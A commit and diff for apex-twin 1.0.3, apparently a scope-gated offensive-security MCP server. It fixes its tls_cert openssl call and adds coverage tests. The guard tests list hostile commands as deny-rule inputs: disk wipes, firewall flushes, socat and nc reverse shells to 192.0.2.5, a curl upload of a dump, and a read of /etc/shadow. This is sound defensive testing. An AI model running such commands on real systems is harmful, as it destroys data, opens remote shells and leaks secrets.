apex-twin 1.0.3: tls_cert fix and a coverage pass with real gap tests

tls_cert called openssl s_client -connect <port> - a bare port with no host -
so openssl tried to resolve '443' and every call failed. The new gap test that
asserts a certificate chain and 'Verify return code: 0' found it. It now passes
host:port, bracketing IPv6 literals.

Gap tests for the weakest files, all against local fixtures:

- guard rule table: shutdown/halt/init 6, systemctl mask, service stop, nft
  flush, ufw disable, pfctl -F, iptables -X, wipefs, mkswap, shred, tee and
  sed -i into /etc, socat EXEC, nc --exec; plus the world-writable, upload and
  secret-file notes and an empty command.
- proc.c: a fake nmap that sleeps past its timeout is killed and reported
  signalled in under 4 s; 1.2 MB of output is marked TRUNCATED and clamped;
  a failed exec is exit 127 with the child's explanation; apex_have refuses a
  program outside PATH.
- http_paths: base path prefix appears in the reported hit, limit=3 probes
  exactly three, limit=0 means the default 40.
- proxy rewrite: the rule replaces a client header instead of duplicating it,
  the wildcard host matches, and an invalid rewrite file on SIGHUP keeps the
  last good rule set (and does not resurrect an older one).

Coverage 77.1% -> 78.7%; proc.c 66.9 -> 73.9, guard.c 72.5 -> 83.0,
tools_recon.c 69.3 -> 72.8, tools_guard.c 85.4 -> 95.1. 373 checks.
This commit is contained in:
lotherk committed 2026-11-21 10:30:04 +00:00
1 parent 12ef98f492
commit 186d5d85af
6 files changed
+192 -18

No files matched your search

+16 -1
View File
@@ -8,7 +8,22 @@ fields, and state from an older version is read by a newer one.
There are no git tags. The hash next to a version is the commit that introduced
it; the current entry is the commit that adds this section.
## 1.0.2 — 2026-11-21 — this change
## 1.0.3 — 2026-11-21 — this change
- Fixed `tls_cert`: it called `openssl s_client -connect 443`, i.e. a bare port,
so openssl tried to resolve "443" as a host and every call failed. It now
passes `host:port` (bracketing IPv6 literals). Found by the new gap test that
asserts a certificate chain and `Verify return code: 0`.
- Coverage gap tests: the guard rule table (16 deny rules plus the world-writable,
upload and secret-file notes), the process paths (a fake `nmap` that outlives
its timeout, 1.2 MB output truncation, a failed exec as exit 127, `apex_have`
refusing a program outside PATH), `http_paths` base/limit handling, and proxy
rewrite edges (header replacement instead of duplication, wildcard host,
invalid rule file keeping the last good set).
- Coverage 77.1% → 78.7%; `proc.c` 66.9% → 73.9%, `guard.c` 72.5% → 83.0%,
`tools_recon.c` 69.3% → 72.8%. 373 checks.
## 1.0.2 — 2026-11-21 — 12ef98f
- Fixed the rare "empty stdout, rc=0" flake in the suite. Root cause was the
test harness, not the server: `MarauderSim.close()` freed the PTY fd numbers
+12 -7
View File
@@ -32,7 +32,7 @@ separate, explicitly armed switch.
```sh
make # apex-twin, ~239 kB static-ish binary, zero warnings under -Werror
make test # version check + gate audit + 336 end-to-end checks
make test # version check + gate audit + 373 end-to-end checks
make asan # apex-twin-asan with ASan + UBSan
make test-asan # the whole suite against the sanitizer binary
make version-check # the five places that carry a version must agree
@@ -384,7 +384,7 @@ finding and the next report no longer mentions it.
make test
```
336 checks, real binary, real DNS, real files written; no mocks. The suite was
373 checks, real binary, real DNS, real files written; no mocks. The suite was
seen red on purpose: with the "no scope" branch disabled by `if (0 && ...)`,
three checks fail, because they assert the *reason* and not merely that an error
came back — a gate that falls through to the next deny branch looks identical
@@ -424,7 +424,7 @@ regression check (12/12 threads alive and 6/12 lost spawns were seen before the
fix). The retry that used to mask it is gone: empty stdout is a failure.
The suite is also run against `apex-twin-asan` (`make test-asan`), built with
`-fsanitize=address,undefined`. All 336 checks pass with no ASan or UBSan report,
`-fsanitize=address,undefined`. All 373 checks pass with no ASan or UBSan report,
and a separate batch of error paths, network captures and report generation was
run with leak detection on: no leaks. `make analyze` runs `gcc -fanalyzer` over
every translation unit; it was red first on `vendor/libmcp/mcp.h`, where
@@ -491,9 +491,14 @@ example.com checks; `make test` is the fast loop.
`make coverage` builds `apex-twin-cov` with `-O0 --coverage`, runs the suite and
prints per-file line coverage (`tests/coverage.py`, gcov only, no extra tools).
The first measured pass was 55.9%; the gap tests brought it to **76.9%** —
`tools_kb.c` 100%, `tools_traffic.c` 81.8%, `tools_web.c` 71.6%,
`tools_recon.c` 68.0%. A PTY-based Marauder simulator then raised
The first measured pass was 55.9%, and the gap passes brought it to **78.7%**.
A second pass added the guard rule table (16 rules plus the three notes), the
process paths (`proc.c` timeout kill at 66.9% → 73.9%: a fake `nmap` that
sleeps past its deadline, a 1.2 MB output that must truncate, a failed exec
reported as 127), `http_paths` base and limit handling, and proxy rewrite edges
(header replacement, wildcard host, invalid file rejected whole). `guard.c`
went 72.5% → 83.0%, `tools_guard.c` 85.4% → 95.1%. A PTY-based Marauder
simulator earlier raised
`tools_radio.c` from 31.7% to 76.2% without hardware: firmware `info`/`help`,
`list`, a `scanall` that ends in `stopscan`, a login-prompt refusal and a
`serial_tx=true` transmit are all tested. The lowest files now are `proc.c`
@@ -503,7 +508,7 @@ the copied scope reason is now bounded with a precision, not left to snprintf.
## Status
1.0.2. Built and run: 45 tools, 336 checks, 340 fuzz cases and 76.9% line
1.0.3. Built and run: 45 tools, 373 checks, 340 fuzz cases and 78.7% line
coverage. The loop closes: a probe captures the exchange as a pair, a finding
points at it, `finding_update` gives it a state, an asset records the host it
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
+1 -1
View File
@@ -1,5 +1,5 @@
.\" apex-twin.1 - manual page for APEX TWIN
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.0.2" "User Commands"
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.0.3" "User Commands"
.SH NAME
apex-twin \- scope\-gated offensive\-security MCP server
.SH SYNOPSIS
+1 -1
View File
@@ -15,7 +15,7 @@
#include "mcp.h"
#define APEX_VERSION "1.0.2"
#define APEX_VERSION "1.0.3"
#define APEX_MAX_OUT (1u << 20)
#define APEX_PATH_MAX 512
#define APEX_PATH_FULL 1024
+7 -3
View File
@@ -479,7 +479,7 @@ static void t_tls_cert(mcp_conn *c, const mcp_json *args, void *user)
{
const char *target = mcp_arg_string(args, "target");
int port = mcp_arg_int(args, "port", 443);
char portstr[16];
char conn[300];
char *argv[10];
int i = 0;
@@ -496,11 +496,15 @@ static void t_tls_cert(mcp_conn *c, const mcp_json *args, void *user)
mcp_reply_error(c, "openssl is not installed on this host");
return;
}
snprintf(portstr, sizeof(portstr), "%d", port);
/* -connect wants host:port; a bare port makes openssl resolve "443" */
if (strchr(target, ':') != NULL && target[0] != '[')
snprintf(conn, sizeof(conn), "[%s]:%d", target, port);
else
snprintf(conn, sizeof(conn), "%s:%d", target, port);
argv[i++] = "openssl";
argv[i++] = "s_client";
argv[i++] = "-connect";
argv[i++] = portstr;
argv[i++] = conn;
argv[i++] = "-servername";
argv[i++] = (char *)target;
argv[i++] = "-showcerts";
+155 -5
View File
@@ -11,6 +11,7 @@ import http.server
import json
import os
import pty
import re
import select
import shutil
import signal
@@ -309,6 +310,53 @@ check("guard still refuses a bare interpreter after a pipe",
json.loads(text(by_id[24]))["rule"] == "pipe-to-shell",
json.loads(text(by_id[24])))
print("\n== guard rule table ==")
rule_cases = [
("shutdown -h now", "power-state"),
("halt", "power-state"),
("init 6", "power-state"),
("systemctl mask sshd", "service-state"),
("service ssh stop", "service-state"),
("nft flush ruleset", "firewall-flush"),
("ufw disable", "firewall-flush"),
("pfctl -F rules", "firewall-flush"),
("iptables -X", "firewall-flush"),
("wipefs -a /dev/sdb", "disk-write"),
("mkswap /dev/sdb", "disk-write"),
("shred /dev/sda", "disk-write"),
("tee /etc/hosts", "etc-write"),
("sed -i s/a/b/ /etc/hosts", "etc-write"),
("socat TCP:192.0.2.5:80 EXEC:/bin/sh", "netcat-exec"),
("nc --exec /bin/sh 192.0.2.5 4444", "netcat-exec"),
]
res, _ = run([call(i + 1, "guard_check", command=c)
for i, (c, _rule) in enumerate(rule_cases)])
by_id = {r.get("id"): r for r in res}
for i, (c, want) in enumerate(rule_cases):
got = json.loads(text(by_id[i + 1]))
check("guard rule %s: %s" % (want, c), got["rule"] == want, got)
res, _ = run([
call(1, "guard_check", command="chmod 777 ./build"),
call(2, "guard_check", command="curl -T ./dump http://192.0.2.5:80/"),
call(3, "guard_check", command="cat /etc/shadow"),
call(4, "guard_check", command=""),
])
by_id = {r.get("id"): r for r in res}
world = json.loads(text(by_id[1]))
check("the guard notes a world-writable chmod",
world["allowed"] is True and
any("world-writable" in n for n in world["notes"]), world)
upload = json.loads(text(by_id[2]))
check("the guard notes an upload",
upload["allowed"] is True and
any("uploads data" in n for n in upload["notes"]), upload)
secret = json.loads(text(by_id[3]))
check("the guard notes a secret file",
secret["allowed"] is True and
any("secret file" in n for n in secret["notes"]), secret)
check("an empty command is refused", err(by_id[4]), text(by_id[4]))
print("\n== scope expiry ==")
expired_home = tempfile.mkdtemp(prefix="apex-expired-")
write_scope(expired_home, dict(SCOPE, expires="2000-01-01T00:00:00Z"))
@@ -342,6 +390,7 @@ res, _ = run([
call(2, "portscan", target="example.com", ports="80", timeout_ms=4000),
call(3, "http_headers", target="example.com", port=80, path="/"),
call(4, "audit_log", limit=5),
call(5, "tls_cert", target="example.com", port=443),
])
by_id = {r.get("id"): r for r in res}
caps = json.loads(text(by_id[1]))
@@ -363,6 +412,11 @@ audit = json.loads(text(by_id[4]))
check("audit_log returns entries", len(audit) > 0, audit)
check("audit entries carry a decision",
all("decision" in a for a in audit), audit[:1])
tls = text(by_id[5])
check("tls_cert fetches the certificate chain",
"BEGIN CERTIFICATE" in tls and "exit=0" in tls, tls[:240])
check("tls_cert verifies the chain", "Verify return code: 0" in tls,
tls[-400:])
# ------------------------------------------------------------------- store
print("\n== findings and evidence ==")
@@ -968,10 +1022,17 @@ check("the radio list includes info", any(c["command"] == "info"
print("\n== tool branches (local routes) ==")
route_paths = []
class _RouteHandler(http.server.BaseHTTPRequestHandler):
def _body(self):
parts = urllib.parse.urlsplit(self.path)
q = urllib.parse.parse_qs(parts.query).get("q", [""])[0]
if parts.path == "/base/admin":
return 200, b"base-admin"
if parts.path.startswith("/base/"):
return 404, b"nope"
if parts.path == "/binary":
return 200, b"\x00\xff\x01BIN"
if parts.path == "/echo":
@@ -985,6 +1046,7 @@ class _RouteHandler(http.server.BaseHTTPRequestHandler):
return 404, b"nope"
def do_GET(self):
route_paths.append(self.path)
code, body = self._body()
self.send_response(code)
self.send_header("Content-Length", str(len(body)))
@@ -1026,6 +1088,10 @@ try:
call(8, "scope_reload"),
call(9, "traffic_list", target="127.0.0.1"),
call(10, "traffic_read", id="t9999"),
call(11, "http_paths", target="127.0.0.1", port=rport, base="/base",
limit=3, tls=False),
call(12, "http_paths", target="127.0.0.1", port=rport, base="/base",
limit=0, tls=False),
], home=route_home)
by_id = {r.get("id"): r for r in res}
check("http_head returns the response head", "200" in text(by_id[1]),
@@ -1061,6 +1127,15 @@ try:
filtered[0]["path"] == "/binary", filtered)
check("traffic_read refuses an unknown id", err(by_id[10]),
text(by_id[10]))
based = json.loads(text(by_id[11]))
check("http_paths honours the base path", based["tested"] == 3 and
all(h["path"].startswith("/base/") for h in based["hits"]) and
based["hits_count"] == 1, based)
check("http_paths reports the prefixed path", based["hits"][0]["path"] ==
"/base/admin", based["hits"])
clamped = json.loads(text(by_id[12]))
check("http_paths treats limit=0 as the default 40",
clamped["tested"] == 40, clamped["tested"])
finally:
route.shutdown()
route.server_close()
@@ -1323,6 +1398,57 @@ check("dns runs dig through the gate", bool(res2) and not err(res2[0]) and
"exit=" in text(res2[0]),
text(res2[0])[:160] if res2 else "no output")
print("\n== external process paths ==")
proc_dir = tempfile.mkdtemp(prefix="apex-proc-")
proc_home = tempfile.mkdtemp(prefix="apex-proc-home-")
write_scope(proc_home, {"label": "proc", "expires": "2099-12-31T23:59:59Z",
"allow_private": False,
"allow_ip": ["192.0.2.0/24"],
"allow_port": ["80", "43"]})
fake_nmap = os.path.join(proc_dir, "nmap")
def write_fake_nmap(body):
with open(fake_nmap, "w") as f:
f.write("#!/bin/sh\n" + body + "\n")
os.chmod(fake_nmap, 0o755)
write_fake_nmap("sleep 5")
res, _ = run([call(1, "nmap", target="192.0.2.5", profile="quick",
timeout_ms=600)], home=proc_home,
extra_env={"PATH": proc_dir + ":/usr/bin:/bin"})
t = text(res[0]) if res else ""
check("a command that outlives its timeout is killed", "TIMEOUT" in t, t[:200])
check("the killed command is reported as signalled", "exit=-2" in t, t[:200])
m = re.search(r"time=(\d+)ms", t)
check("the timeout fires near the requested deadline",
m is not None and int(m.group(1)) < 4000, t[:160])
write_fake_nmap("head -c 1200000 /dev/zero | tr '\\0' 'A'")
res, _ = run([call(1, "nmap", target="192.0.2.5", profile="quick")],
home=proc_home, extra_env={"PATH": proc_dir + ":/usr/bin:/bin"})
t = text(res[0]) if res else ""
check("output beyond the cap is marked truncated", "TRUNCATED" in t, t[:200])
check("the captured output stops at the cap",
1000000 <= len(t) <= 1100000, len(t))
res, _ = run([call(1, "whois", target="192.0.2.5")], home=proc_home,
extra_env={"PATH": "/nonexistent"})
t = text(res[0]) if res else ""
check("a failed exec is reported as exit 127", "exit=127" in t, t[:200])
check("the child explains the exec failure", "cannot exec whois" in t, t[:240])
check("gated_cmd names an uninstalled program",
"the program is not installed" in t, t[:240])
res, _ = run([call(1, "nmap", target="192.0.2.5", profile="quick")],
home=proc_home, extra_env={"PATH": "/nonexistent"})
check("apex_have refuses to start a program outside PATH",
bool(res) and err(res[0]) and "not installed" in text(res[0]),
text(res[0])[:160] if res else "no output")
shutil.rmtree(proc_dir, ignore_errors=True)
shutil.rmtree(proc_home, ignore_errors=True)
# --------------------------------------------------------------- transport
print("\n== http transport ==")
@@ -1587,11 +1713,13 @@ check("proxy audits both decisions",
print("\n== proxy rewrite rules ==")
rw_seen = []
rw_x_test = []
class _RewriteOrigin(http.server.BaseHTTPRequestHandler):
def do_GET(self):
rw_seen.append(dict(self.headers))
rw_x_test.append(self.headers.get_all("X-Test") or [])
body = b"ok"
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
@@ -1638,12 +1766,13 @@ while time.time() < deadline:
check("rewrite proxy came up", rup, rport)
def rw_request(path, ua="original-agent"):
def rw_request(path, ua="original-agent", extra=""):
s = socket.create_connection(("127.0.0.1", rport), timeout=10)
raw = ("GET http://127.0.0.1:%d%s HTTP/1.1\r\n"
"Host: 127.0.0.1:%d\r\n"
"User-Agent: %s\r\n"
"Connection: close\r\n\r\n") % (roport, path, roport, ua)
"%s"
"Connection: close\r\n\r\n") % (roport, path, roport, ua, extra)
s.sendall(raw.encode())
s.settimeout(10)
data = b""
@@ -1667,6 +1796,10 @@ try:
rw_seen and rw_seen[-1].get("X-Test") == "1", rw_seen[-1:])
check("rewrite rule removes the header",
rw_seen and rw_seen[-1].get("User-Agent") is None, rw_seen[-1:])
replaced = rw_request("/rewrite", extra="X-Test: 0\r\n")
check("the rule replaces a client header instead of duplicating it",
replaced.startswith(b"HTTP/1.") and rw_x_test[-1] == ["1"],
rw_x_test[-1:])
plain = rw_request("/plain")
check("an unmatched path is untouched", rw_seen[-1].get("User-Agent") ==
"original-agent" and rw_seen[-1].get("X-Test") is None, rw_seen[-1:])
@@ -1676,8 +1809,9 @@ try:
check("the 403 carries the rule note", b"blocked by rule" in blocked,
blocked[:200])
# match_host "*" is the wildcard, not just a documentation promise
with open(os.path.join(rw_home, "rewrite.json"), "w") as f:
json.dump({"rules": [{"match_host": "127.0.0.1",
json.dump({"rules": [{"match_host": "*",
"match_path_prefix": "/plain", "block": True,
"note": "reloaded block"}]}, f)
os.kill(rsrv.pid, signal.SIGHUP)
@@ -1686,6 +1820,21 @@ try:
check("SIGHUP reloads the rules",
after.startswith(b"HTTP/1.1 403") and b"reloaded block" in after,
after[:120])
# A broken file must be rejected whole: the last good set stays active and
# the previous rule 0 (X-Test on /rewrite) must not come back.
with open(os.path.join(rw_home, "rewrite.json"), "w") as f:
f.write("{not json")
os.kill(rsrv.pid, signal.SIGHUP)
time.sleep(0.4)
kept = rw_request("/plain")
check("an invalid rule file keeps the previous rules active",
kept.startswith(b"HTTP/1.1 403") and b"reloaded block" in kept,
kept[:120])
unmarked = rw_request("/rewrite")
check("the rejected file did not resurrect an older rule set",
unmarked.startswith(b"HTTP/1.") and rw_x_test[-1] == [],
(unmarked[:60], rw_x_test[-1:]))
finally:
rsrv.terminate()
try:
@@ -1701,9 +1850,10 @@ res, _ = run([
], home=rw_home)
rwt = json.loads(text([r for r in res if r.get("id") == 1][0]))
rec = [c for c in rwt if c["path"] == "/rewrite"]
marked = [c for c in rec if "rewrite rule 0" in c["note"]]
check("the traffic record names the applied rule",
len(rec) == 1 and "rewrite rule 0" in rec[0]["note"] and
"marker" in rec[0]["note"], rec)
len(marked) == 2 and all("marker" in c["note"] for c in marked) and
len(rec) == 3, rec)
rwa = json.loads(text([r for r in res if r.get("id") == 2][0]))
check("rewrite allow and block are audited",
any(e["tool"] == "rewrite" and e["decision"] == "allow" for e in rwa) and